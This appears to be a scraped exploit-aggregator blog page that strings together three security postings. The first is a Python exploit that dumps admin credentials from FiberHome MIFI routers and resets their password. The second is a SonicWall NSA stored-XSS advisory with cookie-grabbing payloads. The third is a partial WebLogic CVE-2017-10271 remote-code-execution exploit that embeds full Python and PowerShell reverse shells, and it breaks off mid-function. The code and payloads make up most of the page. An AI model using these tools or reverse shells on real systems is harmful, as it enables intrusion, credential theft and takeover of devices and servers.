#!/usr/bin/python
# /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$ /$$ /$$$$$$$$ /$$ /$$ /$$
# | $$_____/|__/| $$ | $$ | $$ | $$__ $$ | $$ | $$_____/ | $$ |__/ | $$
# | $$ /$$| $$$$$$$ /$$$$$$ /$$$$$$ | $$ | $$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$ /$$$$$$ | $$ /$$$$$$ /$$ /$$$$$$
# | $$$$$ | $$| $$__ $$ /$$__ $$ /$$__ $$| $$$$$$$$ /$$__ $$| $$_ $$_ $$ /$$__ $$ | $$$$$$$/ /$$__ $$| $$_ $$_ $$ /$$__ $$|_ $$_/ /$$__ $$ | $$$$$ | $$ /$$/ /$$__ $$| $$ /$$__ $$| $$|_ $$_/
# | $$__/ | $$| $$ \ $$| $$$$$$$$| $$ \__/| $$__ $$| $$ \ $$| $$ \ $$ \ $$| $$$$$$$$ | $$__ $$| $$$$$$$$| $$ \ $$ \ $$| $$ \ $$ | $$ | $$$$$$$$ | $$__/ \ $$$$/ | $$ \ $$| $$| $$ \ $$| $$ | $$
# | $$ | $$| $$ | $$| $$_____/| $$ | $$ | $$| $$ | $$| $$ | $$ | $$| $$_____/ | $$ \ $$| $$_____/| $$ | $$ | $$| $$ | $$ | $$ /$$| $$_____/ | $$ >$$ $$ | $$ | $$| $$| $$ | $$| $$ | $$ /$$
# | $$ | $$| $$$$$$$/| $$$$$$$| $$ | $$ | $$| $$$$$$/| $$ | $$ | $$| $$$$$$$ | $$ | $$| $$$$$$$| $$ | $$ | $$| $$$$$$/ | $$$$/| $$$$$$$ | $$$$$$$$ /$$/\ $$| $$$$$$$/| $$| $$$$$$/| $$ | $$$$/
# |__/ |__/|_______/ \_______/|__/ |__/ |__/ \______/ |__/ |__/ |__/ \_______/ |__/ |__/ \_______/|__/ |__/ |__/ \______/ \___/ \_______/ |________/|__/ \__/| $$____/ |__/ \______/ |__/ \___/
# | $$
# | $$
# |__/
# Exploit Title: FiberHome MIFI LM53Q1 Multiple Vulnerabilities
# Exploit Author: Ibad Shah
# Vendor Homepage: www.fiberhome.com
# Version: VH519R05C01S38
# Tested on: Linux
# Platform : Hardware
# CVE : CVE-2017-16885, CVE-2017-16886, CVE-2017-16887
# Greetz : Taimoor Zafar, Jawad Ahmed, Owais Mehtab, Aitezaz Mohsin, ZHC
import requests,sys,getopt,socket,struct
#Declaring IP as our global variable to probe for Gateway IP of Device
global ip
#Getting Gateway IP Address
def get_default_gateway_linux():
with open("/proc/net/route") as fh:
for line in fh:
fields = line.strip().split()
if fields[1] != '00000000' or not int(fields[3], 16) & 2:
continue
return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
return;
ip = get_default_gateway_linux()
exploit_title = "=============================================== \n FiberHome Remote Administrator Account Details \n================================================";
#Function to get Device Statistics
def get_device_details():
gateway = None
hardware = None
device_name = None
devices_all = ''
version = None
gateway = None
ssid = ''
dns1 = None
dns2 = None
requestStatus = requests.get("http://192.168.8.1/xml_action.cgi?method=get&module=duster&file=status1")
api_response = requestStatus.content.replace('\t','').split('\n')
for results in api_response:
if "<hardware_version>" in results:
hardware = results.replace('<hardware_version>','').replace('</hardware_version>','').replace(' ','').replace('\n','')
if "<device_name>" in results:
device_name = results.replace('<device_name>','').replace('</device_name>','').replace(' ','').replace('\n','')
if "<version_num>" in results:
version = results.replace('<version_num>','').replace('</version_num>','').replace(' ','').replace('\n','')
if "<gateway>" in results:
gateway = results.replace('<gateway>','').replace('</gateway>','').replace(' ','').replace('\n','')
if "<ssid>" in results:
ssid = results.replace('<ssid>','').replace('</ssid>','').replace('\n','')
if "<dns1>" in results:
dns1 = results.replace('<dns1>','').replace('</dns1>','').replace(' ','').replace('\n','')
if "<dns2>" in results:
dns2 = results.replace('<dns2>','').replace('</dns2>','').replace(' ','').replace('\n','')
if "<IMEI>" in results:
imei = results.replace('<IMEI>','').replace('</IMEI>','').replace(' ','').replace('\n','')
print "\n=============================================="
print "\nHardware Version of Device : "+hardware+"\n"
print "\nName of Device : "+device_name+"\n"
print "\nSoftware Version of Device : "+version+"\n"
print "\nIMEI of Device! : "+imei+"\n"
print "\nWiFi SSID of Device : "+ssid+"\n"
print "\nGateway of Zong Device : "+gateway+"\n"
print "\nDNS Primary of Device : "+dns1+"\n"
print "\nDNS Secondary of Device : "+dns2+"\n"
print "\n=============================================================================\n";
if "<known_devices_list>" in results:
devices_all = results.replace('<known_devices_list>','').replace('</known_devices_list>','').replace('\n','')
print "\nConnected Devices to WIFI\n"
print devices_all
#Function for getting User Account Details to login to Portal
def get_user_account_details():
request = requests.get("http://"+ip+"/xml_action.cgi?method=get&module=duster&file=admin")
admin_details = request.content.replace('\t','').split('\n')
for admin_login_response in admin_details:
if "<router_username>" in admin_login_response:
username = admin_login_response.replace('<router_username>','').replace('</router_username>','')
if "<router_password>" in admin_login_response:
password = admin_login_response.replace('<router_password>','').replace('</router_password>','')
print "\nUsername of Device Web Application :\n"+username+" "
print "Password of Device Web Application :\n"+password+"\n"
print "\n=============================================================================\n";
#Function to change Administrator Password
def change_admin_password():
set_password = raw_input("\nEnter Password to Change : ")
password = str(set_password)
xml = "<?xml version='1.0' encoding='UTF-8'?><RGW><management><router_password>"+password+"</router_password></management></RGW>"
headers = {'Content-Type': 'application/xml'}
change_password_request = requests.post("http://"+ip+"/xml_action.cgi?method=set&module=duster&file=admin", data=xml, headers=headers).text
print "Password Changed!"
def main():
print exploit_title
print "\nSelect Menu For Fetching Details \n \n 1. Get Portal Login & Password. \n 2. Get Other Details. \n 3. Change Admin Password for Device"
get_option = raw_input("\n Enter Option : ");
option = int(get_option)
if get_option == "1":
get_user_account_details()
raw_input("\n Press Any Key To Exit");
elif get_option == "2":
get_device_details()
raw_input("\n Press Any Key To Exit");
elif get_option == "3":
change_admin_password()
elif get_option == "":
print "Good Bye!";
else:
print "Goodbye!";
main()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863556140
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Document Title:
===============
SonicWall SonicOS NSA Web Firewall - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1725
Release Date:
=============
2018-01-06
Vulnerability Laboratory ID (VL-ID):
====================================
1725
Common Vulnerability Scoring System:
====================================
4.5
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Achieve a deeper level of security with the SonicWALL Network Security Appliance (NSA) Series of next-generation firewalls. NSA Series appliances
integrate automated and dynamic security capabilities into a single platform, combining the patented1, SonicWALL Reassembly Free Deep Packet
Inspection (RFDPI) firewall engine with a powerful, massively scalable, multi-core architecture. Now you can block even the most sophisticated
threats with an intrusion prevention system (IPS) featuring advanced anti-evasion capabilities, SSL decryption and inspection, and network-based
malware protection that leverages the power of the cloud.
(Copy of the Homepage: http://www.sonicwall.com/products/sonicwall-nsa/ )
The proven SonicOS architecture is at the core of every Dell SonicWALL firewall from the SuperMassive™ E10800 to the TZ 100. SonicOS uses deep packet
inspection technology in combination with multi-core specialized security microprocessors to deliver application intelligence, control, and real-time
visualization, intrusion prevention, high-speed virtual private networking (VPN) technology and other robust security features.
(Copy of the Homepage: http://www.sonicwall.com/network-security-os-platform/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research Team discovered multiple persistent validation vulnerabilities and a filter bypass issue in
the official DELL SonicWall SonicOS NSA Series web-application firewall (utm) appliances.
Vulnerability Disclosure Timeline:
==================================
2018-01-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
DELL
Product: SonicWall UTM Firewall (NSA;MX,CLI;TZ) Series 2016 Q4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities and a filter bypass issue has been discovered in the official SonicWall SoniOS NSA UTM Web-Firewall Series.
The issue allows remote attackers and privileged user accounts to inject own malicious script codes with persistent attack vector to the affected modules to
compromise the web-application or user session data.
The peristent exploitable validation vulnerabilities are located in the `Host Name / IP Address`, `Client Name/IP Address` and `Proxy Forward To` input fields of
the `Users - Settings - Configure SSO` web appliance module. Remote attackers and low privileged application user accounts are able to inject own malicious script
codes to the vulnerable input fields to compromise the `Users - Settings - Configure SSO` settings module item listing. At the end an attacker is able to save the
information as executable content within the backend. After that the malicious context is saved to the SSO configuration module which executes the context.
The input fields are not parsed, the context does not encode the input with a secure mechanism. The injection points are the marked input fields with the request
method of the vulnerable modules. The execution points are located in the item listing of the separate sections.
A filter restriction is implemented and is trying to secure the validation. The filter mechanism parses iframes with src source and other script code tags. In case
of a mouseover onload link to a source or an img src onload with cookie alert the tags can bypass the filter validation procedure somehow and an execution of the
context occurs.
The security risk of the peristent web vulnerabilities and filter bypass issue are estimated as medium with a cvss (common vulnerability scoring system) count of 4.5.
Exploitation of the persistent web vulnerabilities and filter bypass issue requires a low privileged web application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects, persistent load of malicious script
codes or persistent web module context manipulation.
Affected Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Users - Settings - Configure SSO - SSO Agents
[+] Users - Settings - Configure SSO - Terminal Services Agent Settings
[+] Users - Settings - Configure SSO - RADIUS Accounting Single-Sign-On
Vulnerable Input(s):
[+] Host Name / IP Address
[+] Client Name/IP Address
[+] Proxy Forward To
Vulnerable Parameter(s):
[+] ldapServerBindName
[+] usrTreesSel
[+] ldapUsrsTree_1
[+] svcObjId
Affected Serie(s):
[+] SonicWALL NSA 6600
[+] SonicWALL NSA 5600
[+] SonicWALL NSA 4600
[+] SonicWALL NSA 3600
[+] SonicWALL NSA 2600
[+] SonicWALL NSA 250M
Affected System(s):
[+] SonicOS (Standard or Enhanced)
Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with low privileged or restricted appliance application user account with low or
medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the appliance web-application firewall of sonicwall and login as restricted user or lower privileged user account
2. Surf to the Users module
3. Click to Settings and open the "SSO Configure" button
4. Open one of the vulnerable modules
Note: Users > Settings > Configure SSO > SSO Agents; > Terminal Services Agent Settings or > RADIUS Accounting Single-Sign-On
5. Inject a script code payload to the Host Name/IP Address(es), Client Name/IP Address & Proxy Forward To input fields
Note: Regular frames are filtered but img or iframes with alert onload or onmouseover tag do bypass the filter validation
6. Save the entry and the payload directly executes in the utm firewall web user interface
7. Successful reproduce of the application-side input validation vulnerability and filter bypass issue!
PoC Payload(s):
"><a onmouseover=alert(document.cookie)>XSS ONMOUSEOVER TEST</a>
"><img src=evil.source onerror=prompt(document.cookie);>
"><"<img onmouseover="evil.source">%20%20>"<iframe src=evil.source>%20<iframe>
PoC: Users > Settings > Configure SSO > SSO Agents > [Host Name / IP Address]
<tbody><tr class="listLabel" valign="bottom">
<td align="left" nowrap="" width="2%"><span class="objItemSpacing">#</span></td>
<td align="center" nowrap="" width="8%">Status</td>
<td align="left" nowrap="" width="30%">Host Name/IP Address </td>
<td align="left" nowrap="" width="10%">Port </td>
<td align="left" nowrap="" width="10%">Timeout </td>
<td align="left" nowrap="" width="10%">Retries </td>
<td onmouseover="onMaxRqstsMouseOver(event,this);" onmouseout="htt();" align="left" nowrap="" width="10%">
Max Rqsts
<img title="" class="ttip" src="carrot.gif" alt="" border="0">
</td>
<td align="center" nowrap="" width="10%">Enable</td>
<td width="10%"> </td></tr>
<tr style="cursor: pointer;" class="listItem"><td nowrap="nowrap">1</td><td align="center" nowrap="nowrap">
<img id="agentStatus-192.168.150.8 "><img src=evil.source onerror=prompt(document.cookie);>:2265" alt="" src="green_led.gif"
border="0" height="13" width="13"></td><td style="" nowrap="">
<label style="">192.168.150.8 "><img src="evil.source" onerror="prompt(document.cookie);"></label></td><td nowrap="nowrap"><label style="">2265</label></td><td
nowrap="nowrap"><label>10</label></td><td nowrap="nowrap"><label>6</label></td><td nowrap="nowrap"><label>32</label></td>
<td align="center" nowrap="nowrap"><input type="checkbox"></td><td align="left" nowrap="nowrap"><img
id="agentStats-192.168.150.8 "><img src=evil.source onerror=prompt(document.cookie);>:2265" style="width: 20px; height:
20px; border-width: 0px; padding-right: 2px;" src="stat.png"><img style="width: 20px; height: 20px; border-width: 0px;
padding-right: 2px;" title="Edit this agent" alt="Edit this agent" src="edit.gif"><img style="width: 20px; height: 20px;
border-width: 0px;" title="Delete this agent" alt="Delete this agent" src="trash.gif"></td></tr><tr class=""
id="bottom-bar"><td colspan="8" align="left" nowrap="nowrap" valign="middle"><input id="add-btn" class="button" style="width:
70px;" title="Add a new agent" value="Add..." type="button"></td><td align="left" nowrap="nowrap"><img
style="border-width: 0px; padding-right: 2px;" id="globalStats" alt="" src="stat.png" border="0" height="20" width="20"></td></tr></tbody>
PoC: Users > Settings > Configure SSO > Terminal Services Agent Settings > [Host Name / IP Address]
<tbody><tr class="listLabel" valign="bottom">
<td align="left" nowrap="" width="2%"><span class="objItemSpacing">#</span></td>
<td align="center" nowrap="" width="8%">Active</td>
<td onmouseover="onTsaHostMouseOver(event,this);" onmouseout="htt();" align="left" nowrap="" width="50%">
Host Name/IP Address(es)
<img title="" class="ttip" src="carrot.gif" alt="" border="0"> </td>
<td align="left" nowrap="" width="15%">Port </td>
<td align="center" nowrap="" width="15%">Enable</td>
<td width="10%"> </td>
<td style="background-image: none; border-top-width: 0px; border-bottom-width: 0px;" class="listItem" rowspan="999" nowrap="nowrap" valign="bottom">
<div style="visibility: hidden;" id="view-scroll-div"><img src="scrollb_up.gif" id="scroll-up-img" alt=""><br><img src="scrollb_down.gif"
id="scroll-down-img" alt=""></div></td></tr>
<tr style="cursor: pointer;" class="listItem"><td nowrap="nowrap">1</td><td align="center" nowrap="nowrap">
<img id="tsAgentStatus-0.0.0.0 "><img src=evil.source onerror=prompt(document.cookie);>:2259" alt="" src="grey_led.gif" border="0"
height="13" width="13"></td><td nowrap=""><label style="">0.0.0.0 "><img src="evil.source" onerror="prompt(document.cookie);"></label></td>
<td nowrap="nowrap"><label>2259</label></td><td align="center" nowrap="nowrap"><input type="checkbox"></td>
<td align="left" nowrap="nowrap"><img id="tsAgentStats-0.0.0.0 "><img src=x onerror=prompt(document.cookie);>:2259" style="width: 20px;
height: 20px; border-width: 0px; padding-right: 2px;" src="statx.png"><img style="width: 20px; height: 20px; border-width: 0px; padding-right:
2px;" title="Edit this Terminal Services Agent" alt="Edit this Terminal Services Agent" src="edit.gif"><img style="width: 20px; height: 20px;
border-width: 0px;" title="Delete this Terminal Services Agent" alt="Delete this Terminal Services Agent" src="trash.gif"></td></tr><tr class=""
id="bottom-bar"><td colspan="5" align="left" nowrap="nowrap" valign="middle"><input id="add-btn" class="button" style="width: 70px;"
title="Add a new Terminal Services Agent" value="Add..." type="button"></td><td align="left" nowrap="nowrap"><img style="border-width:
0px; padding-right: 2px;" id="tsa_globalStats" alt="" src="stat.png" border="0" height="20" width="20"></td></tr></tbody>
PoC: Users > Settings > Configure SSO > RADIUS Accounting Single-Sign-On [Client Name/IP Address] & [Proxy Forward To] [Select In Element]
<tbody><tr class="listLabel" valign="bottom">
<td align="left" nowrap="" width="2%"><span class="objItemSpacing">#</span></td>
<td align="center" nowrap="" width="8%">Status</td>
<td align="left" nowrap="" width="25%">Client Name/IP Address </td>
<td align="left" nowrap="" width="15%">User Name Format </td>
<td align="left" nowrap="" width="35%">Proxy Forward To </td>
<td align="left" nowrap="" width="15%">Interim-Update Timeout </td>
<td width="5%"> </td>
<td style="background-image: none; border-top-width: 0px; border-bottom-width: 0px;" class="listItem" rowspan="999" nowrap="nowrap"
valign="bottom"><div style="visibility: hidden;" id="view-scroll-div"><img src="scrollb_up.gif" id="scroll-up-img" alt=""><br><img src="scrollb_down.gif"
id="scroll-down-img" alt=""></div></td></tr>
<tr style="cursor: pointer;" class="listItemBold"><td nowrap="nowrap">1</td><td align="center" nowrap="nowrap">
<img id="radAcctClientStatus-0.0.0.0 "><img src=evil.source onerror=prompt(document.cookie);>" alt="" src="grey_led.gif" border="0" height="13" width="13"></td>
<td nowrap=""><label style="">0.0.0.0 "><img src="evil.source" onerror="prompt(document.cookie);"></label></td><td nowrap="nowrap"><label style="">DomainUser-name</label></td>
<td style="color: rgb(255, 0, 0);" nowrap=""><label style="">0.0.0.0 "><img src="evil.source" onerror="prompt(document.cookie);">:1813</label></td><td nowrap="nowrap">
<label>Disabled</label></td><td align="right" nowrap="nowrap"><img id="radAcctClientStats-0.0.0.0
"><img src=x onerror=prompt(document.cookie);>" style="width: 20px; height: 20px; border-width: 0px; padding-right: 2px;" src="statx.png">
<img style="width: 20px; height: 20px; border-width: 0px; padding-right: 2px;" title="Edit this radAcctClient" alt="Edit this radAcctClient" src="edit.gif">
<img style="width: 20px; height: 20px; border-width: 0px;" title="Delete this radAcctClient" alt="Delete this radAcctClient" src="trash.gif"></td></tr><tr class=""
id="bottom-bar"><td colspan="6" align="left" nowrap="nowrap" valign="middle"><input id="add-btn" class="button" style="width: 70px;" title="Add a new radAcctClient"
value="Add..." type="button"></td><td align="left" nowrap="nowrap"><img style="border-width: 0px; padding-right: 2px;" id="radacct_globalStats" alt="" src="stat.png"
border="0" height="20" width="20"></td></tr></tbody>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://utm_waf.localhost:8512/main.cgi
Mime Type[text/html]
Request Header:
Host[utm_waf.localhost:8512]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[https://utm_waf.localhost:8512/ldapProps.html]
Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=0; 7510=0]
Connection[keep-alive]
POST-Daten:
csrfToken[]
userRadiusSelect[4]
radiusDfltUserGroup[Domain+Users]
cgiaction[none]
ldapCgiAction[0]
isLdapPost[]
ldapServerName[192.168.113.211]
ldapServerPort[389]
portsSel[0]
ldapTimeout[10]
ldapOpnTimeout[5]
bindType[2]
loginName[redteam]
loginPwd[]
protocolSel[LDAP+version+2]
ldapUseTls[on]
ldapNegTls[on]
ldapTlsRequireServerCert[on]
tlsCertSel[new]
ldapProtocolVer[2]
ldapServerBindName[[MALICIOUS PAYLOAD INJECT!]]
ldapSrvrBindNameType[1]
ldapServerBindPwd[]
ldapServerBindHashPwd[]
cbox_ldapUseTls[]
cbox_ldapNegTls[]
cbox_ldapTlsRequireServerCert[]
ldapTlsCertName[new]
schemaSelect[1]
usrQualLogonAttr[userPrincipalName]
ldapUsrUseOtherGrpAttr[on]
usrGrpMbrAttrTypRadio[0]
ldapOuNameAttr[]
ldapUsrObjClass[user]
ldapUsrLogonNameAttr[sAMAccountName]
ldapUsrQualLogonAttr[userPrincipalName]
ldapUsrGrpAttr[memberOf]
ldapUsrOtherGrpAttr[primaryGroupID]
ldapUsrFrmdIpAttr[msRADIUSFramedIPAddress]
ldapUsrGrpObjClass[group]
ldapUsrGrpMbrAttr[member]
ldapUsrGrpMbrType[0]
ldapUsrGrpOtherMatchAttr[primaryGroupToken]
cbox_ldapUsrUseOtherGrpAttr[]
ldapUsrDomain[sjcolo.local]
usrTreesSel[MALICIOUS PAYLOAD INJECT!]
ldapTreesAutoConfDomain[]
ldapAllowReferrals_0[on]
ldapAllowReferrals_1[on]
ldapAllowReferrals_2[on]
ldapAllowReferrals_3[on]
cbox_ldapAllowReferrals_0[]
cbox_ldapAllowReferrals_1[]
cbox_ldapAllowReferrals_2[]
cbox_ldapAllowReferrals_3[]
userRadiusCheckLocal[on]
userRadiusUserGrpsLocal[on]
selDfltUserGroup[2]
ldapUsrGrpMirroring[on]
ldapUsrGrpMirrorPeriod[x]
ldapUsrGrpMirrorWhat[0]
cbox_userRadiusCheckLocal[]
cbox_userRadiusUserGrpsLocal[]
cbox_ldapUsrGrpMirroring[]
ldapRelayEnable[on]
ldapRelayOnLAN[on]
ldapRelayOnWAN[on]
ldapRelayOnVPN[on]
ldapRelaySecret[]
ldapRelayLegacyVpnUsrGrp[]
ldapRelayLegacyVpnClientGrp[]
ldapRelayLegacyL2TPUsrGrp[]
ldapRelayLegacyInetUsrGrp[]
ldapRelayHashSecret[]
cbox_ldapRelayEnable[]
cbox_ldapRelayOnLAN[]
cbox_ldapRelayOnWAN[]
cbox_ldapRelayOnDMZ[]
cbox_ldapRelayOnWLAN[]
cbox_ldapRelayOnVPN[]
Radius_user[]
Radius_passwd[]
remAuthTstProtocol[0]
TestInfo[]
remAuthTstType[-1]
rNum[28F5903AD031CF055855192B2F30CC6E]
testType[1]
testDesc[LDAP+server]
ldapUsrsTree_1[MALICIOUS PAYLOAD INJECT!]
Response Header:
Server[localhost]
Expires[-1]
Content-Type[text/html;charset=UTF-8]
-
Status: 200[OK]
GET https://utm_waf.localhost:8512/x[MALICIOUS PAYLOAD EXECUTION!]
Mime Type[unknown]
Request Header:
Host[utm_waf.localhost:8512]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://utm_waf.localhost:8512/ssoAuthProps.html]
Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=0; 7510=0]
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://utm_waf.localhost:8512/main.cgi
Mime Type[text/html]
Request Header:
Host[utm_waf.localhost:8512]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[https://utm_waf.localhost:8512/addServiceObjDlg.html]
Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=2; 7510=0]
Connection[keep-alive]
POST-Daten:
csrfToken[]
svcObjId_-1[MALICIOUS INJECTED PAYLOAD!]
svcObjType_-1[1]
svcObjProperties_-1[4878]
svcObjIpType_-1[ssh]
svcObjPort1_-1[1]
svcObjPort2_-1[1]
svcObjManagement_-1[0]
svcObjHigherPrecedence_-1[0]
Response Header:
Server[localhost]
Content-Type[text/html;charset=UTF-8]
-
Status: 200[OK]
GET https://utm_waf.localhost:8512/x[MALICIOUS PAYLOAD EXECUTION!]
Mime Type[text/html]
Request Header:
Host[utm_waf.localhost:8512]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Referer[https://utm_waf.sonicwall:8512/ssoAuthProps.html]
Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=3; 7510=0]
Connection[keep-alive]
Response Header:
Server[SonicWALL]
Content-Type[text/html;charset=UTF-8]
Reference(s):
https://utm_waf.sonicwall:8512/
https://utm_waf.localhost:8512/main.cgi
https://utm_waf.localhost:8512/ldapProps.html
https://utm_waf.sonicwall:8512/ssoAuthProps.html
https://utm_waf.localhost:8512/addServiceObjDlg.html
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse and encode of the vulnerable `Host Name / IP Address`, `Client Name/IP Address` and
`Proxy Forward To` input fields. Encode the following values `ldapServerBindName - usrTreesSel - ldapUsrsTree_1` and `svcObjId`
to prevent an inject via POST method. Restrict the input fields and disallow the usage of special chars. Encode in the last step
the output listing locations in the `SSO Agents `,`Terminal Services Agent Settings` and `RADIUS Accounting Single-Sign-On`
modules to prevent the execution points of the vulnerabilities. Adjust the filter procedure and setup a more seure
exception-handling to interact during an invalid execution or unhandled exception.
Note: All the security issues are marked as resolved by dell sonicwall with several updates until 2017 Q4.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability and the filter bypass issue are estimated as medium. (CVSS 4.5)
Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Weblogic wls-wsat Component Deserialization RCE
# Date Authored: Jan 3, 2018
# Date Announced: 10/19/2017
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Github: https://github.com/kkirsche/CVE-2017-10271
# Exploit is based off of POC by Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
# Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
# CVE: CVE-2017-10271
# Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
# (Python 3) Example check listener: python3 -m http.server 4444
# (Python 2) Example check listener: python -m SimpleHTTPServer 4444
# (Netcat) Example exploit listener: nc -nlvp 4444
from sys import exit
from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from xml.sax.saxutils import escape
class Exploit:
def __init__(self, check, rhost, lhost, lport, windows):
self.url = rhost if not rhost.endswith('/') else rhost.strip('/')
self.lhost = lhost
self.lport = lport
self.check = check
if windows:
self.target = 'win'
else:
self.target = 'unix'
if self.target == 'unix':
# Unix reverse shell
# You should also be able to instead use something from MSFVenom. E.g.
# msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
self.cmd_payload = (
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
"SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
"s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
).format(lhost=self.lhost, lport=self.lport)
else:
# Windows reverse shell
# Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
self.cmd_payload = (
r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
)
self.cmd_payload = escape(self.cmd_payload)
def cmd_base(self):
if self.target == 'win':
return 'cmd'
return '/bin/sh'
def cmd_opt(self):
if self.target == 'win':
return '/c'
return '-c'
def get_generic_check_payload(self):
random_uri = ''.join(
choice(ascii_uppercase + ascii_lowercase + digits)
for _ in range(16))
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<object id="url" class="java.net.URL">
<string>http://{lhost}:{lport}/{random_uri}</string>
</object>
<object idref="url">
<void id="stream" method = "openStream" />
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
return generic_check_payload.format(
lhost=self.lhost, lport=self.lport, random_uri=random_uri)
def get_process_builder_payload(self):
process_builder_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
